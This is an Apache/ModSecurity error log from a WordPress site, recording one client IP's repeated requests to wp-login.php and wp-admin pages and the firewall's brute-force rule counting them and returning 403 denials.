[Sat Feb 28 02:02:41.800716 2026] [:error] [pid 38620:tid 38637] [client 5.189.134.86:54366] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcQQP6I7SRqrhh7Ro0VgAAAU8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:43.106182 2026] [:error] [pid 38620:tid 38629] [client 5.189.134.86:54366] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcQwP6I7SRqrhh7Ro0WgAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:43.106259 2026] [:error] [pid 38620:tid 38629] [client 5.189.134.86:54366] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcQwP6I7SRqrhh7Ro0WgAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:45.607779 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcRQP6I7SRqrhh7Ro0ZAAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:46.904097 2026] [:error] [pid 38620:tid 38641] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcRgP6I7SRqrhh7Ro0awAAAVM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:49.567947 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcSQP6I7SRqrhh7Ro0dAAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:51.267964 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcSwP6I7SRqrhh7Ro0ewAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:51.268036 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcSwP6I7SRqrhh7Ro0ewAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:53.746925 2026] [:error] [pid 15100:tid 15165] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcTUOEbzcINan_ctLS_AAAAEU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:55.012563 2026] [:error] [pid 15100:tid 15172] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcT0OEbzcINan_ctLTAQAAAEw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:55.012629 2026] [:error] [pid 15100:tid 15172] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcT0OEbzcINan_ctLTAQAAAEw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:57.513702 2026] [:error] [pid 15099:tid 15150] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcUenvP2vtPjYDq_hCUgAAANE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:58.805737 2026] [:error] [pid 15099:tid 15138] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcUunvP2vtPjYDq_hCUwAAAMU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:02:58.805809 2026] [:error] [pid 15099:tid 15138] [client 5.189.134.86:61392] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcUunvP2vtPjYDq_hCUwAAAMU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:00.156145 2026] [:error] [pid 15240:tid 15255] [client 5.189.134.86:60206] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHcVC1iKL_41Rk9A9OPQwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:01.493228 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:60206] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHcVb_i6nvKNhjFW7VkZgAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:02.751209 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:50549] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHcVr_i6nvKNhjFW7VkbQAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:04.101562 2026] [:error] [pid 38620:tid 38624] [client 5.189.134.86:59774] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHcWAP6I7SRqrhh7Ro0kgAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:05.435652 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:59774] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcWb_i6nvKNhjFW7VkcQAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:08.388011 2026] [:error] [pid 38586:tid 38595] [client 5.189.134.86:59774] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcXL_i6nvKNhjFW7VkegAAAQY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:09.695086 2026] [:error] [pid 38586:tid 38593] [client 5.189.134.86:59774] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcXb_i6nvKNhjFW7VkfQAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:11.046575 2026] [:error] [pid 38586:tid 38597] [client 5.189.134.86:59774] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHcX7_i6nvKNhjFW7VkfwAAAQg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:12.155311 2026] [:error] [pid 15100:tid 15171] [client 5.189.134.86:62081] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHcYEOEbzcINan_ctLTEQAAAEs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:13.259717 2026] [:error] [pid 15240:tid 15255] [client 5.189.134.86:61721] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHcYS1iKL_41Rk9A9OPUQAAAA0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:14.499629 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:57657] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHcYgP6I7SRqrhh7Ro0rgAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:15.841029 2026] [:error] [pid 38620:tid 38644] [client 5.189.134.86:58083] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcYwP6I7SRqrhh7Ro0tQAAAVY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:18.770740 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:58083] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcZgP6I7SRqrhh7Ro0vQAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:20.058589 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:58083] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcaAP6I7SRqrhh7Ro0wAAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:21.349858 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:58083] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHcaQP6I7SRqrhh7Ro0wgAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:22.612602 2026] [:error] [pid 15240:tid 15246] [client 5.189.134.86:64060] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHcai1iKL_41Rk9A9OPVwAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:25.445163 2026] [:error] [pid 38620:tid 38623] [client 5.189.134.86:64937] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHcbQP6I7SRqrhh7Ro0ygAAAUE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:26.701799 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:53611] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcbgP6I7SRqrhh7Ro0zgAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:29.757546 2026] [:error] [pid 38620:tid 38642] [client 5.189.134.86:53611] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHccQP6I7SRqrhh7Ro04AAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:31.174725 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:53611] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHccwP6I7SRqrhh7Ro05AAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:32.599998 2026] [:error] [pid 38620:tid 38623] [client 5.189.134.86:53611] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHcdAP6I7SRqrhh7Ro07AAAAUE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:33.701319 2026] [:error] [pid 38620:tid 38644] [client 5.189.134.86:55809] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHcdQP6I7SRqrhh7Ro08QAAAVY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:35.041618 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:54493] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHcd7_i6nvKNhjFW7VkuQAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:36.377815 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:53643] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHceAP6I7SRqrhh7Ro1CQAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:37.539289 2026] [:error] [pid 38620:tid 38641] [client 5.189.134.86:61271] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHceQP6I7SRqrhh7Ro1EwAAAVM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:37.539343 2026] [:error] [pid 38620:tid 38641] [client 5.189.134.86:61271] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHceQP6I7SRqrhh7Ro1EwAAAVM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:38.793203 2026] [:error] [pid 15100:tid 15169] [client 5.189.134.86:60929] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHcekOEbzcINan_ctLTKQAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:40.056816 2026] [:error] [pid 15099:tid 15147] [client 5.189.134.86:61909] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHcfOnvP2vtPjYDq_hCcQAAAM4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:41.318277 2026] [:error] [pid 38620:tid 38642] [client 5.189.134.86:61909] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHcfQP6I7SRqrhh7Ro1JQAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:42.662824 2026] [:error] [pid 38620:tid 38629] [client 5.189.134.86:65127] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHcfgP6I7SRqrhh7Ro1NAAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:44.152450 2026] [:error] [pid 38586:tid 38613] [client 5.189.134.86:56099] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcgL_i6nvKNhjFW7VkzwAAARg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:45.517701 2026] [:error] [pid 38586:tid 38597] [client 5.189.134.86:56099] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHcgb_i6nvKNhjFW7Vk0QAAAQg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:46.614158 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:56099] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHcggP6I7SRqrhh7Ro1PwAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:47.955140 2026] [:error] [pid 15098:tid 15122] [client 5.189.134.86:56085] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHcg8kFqny8dQQbmTkvCQAAAJA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:49.288586 2026] [:error] [pid 15100:tid 15175] [client 5.189.134.86:54112] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHchUOEbzcINan_ctLTMQAAAE8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:50.395813 2026] [:error] [pid 38586:tid 38608] [client 5.189.134.86:58923] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHchr_i6nvKNhjFW7Vk1wAAARM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:53.033223 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:58923] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcib_i6nvKNhjFW7Vk3AAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:54.280583 2026] [:error] [pid 38586:tid 38607] [client 5.189.134.86:58923] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcir_i6nvKNhjFW7Vk5QAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:54.280650 2026] [:error] [pid 38586:tid 38607] [client 5.189.134.86:58923] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcir_i6nvKNhjFW7Vk5QAAARI"], referer: https://gigfragments.org/wp-login.php
